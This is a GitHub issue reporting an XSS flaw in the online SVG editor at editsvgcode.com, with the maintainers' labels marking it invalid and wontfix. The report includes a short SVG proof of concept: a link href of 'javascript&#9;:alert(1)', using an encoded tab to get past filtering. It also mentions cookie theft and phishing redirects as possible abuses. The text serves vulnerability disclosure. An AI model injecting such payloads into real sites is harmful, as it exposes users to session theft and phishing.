Skip to content

XSS code injection in online editor #29

@carlesreig

Description

@carlesreig

XML/SVG web editor is vulnerable to XSS injection code.
For example, editing sample SVG image found at https://editsvgcode.com/ with this code;

<!-- sample rectangle -->
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
  <a href="javascript&#9;:alert(1)">
  <rect width="100" height="100" x="50" y="50" fill="red" />
  </a>
</svg>

In this example we just got a javascript alert, but could be cookie info, redirections to malicious/phishing sites...

Metadata

Metadata

Assignees

No one assigned

    Labels

    invalidThis doesn't seem rightwontfixThis will not be worked on

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions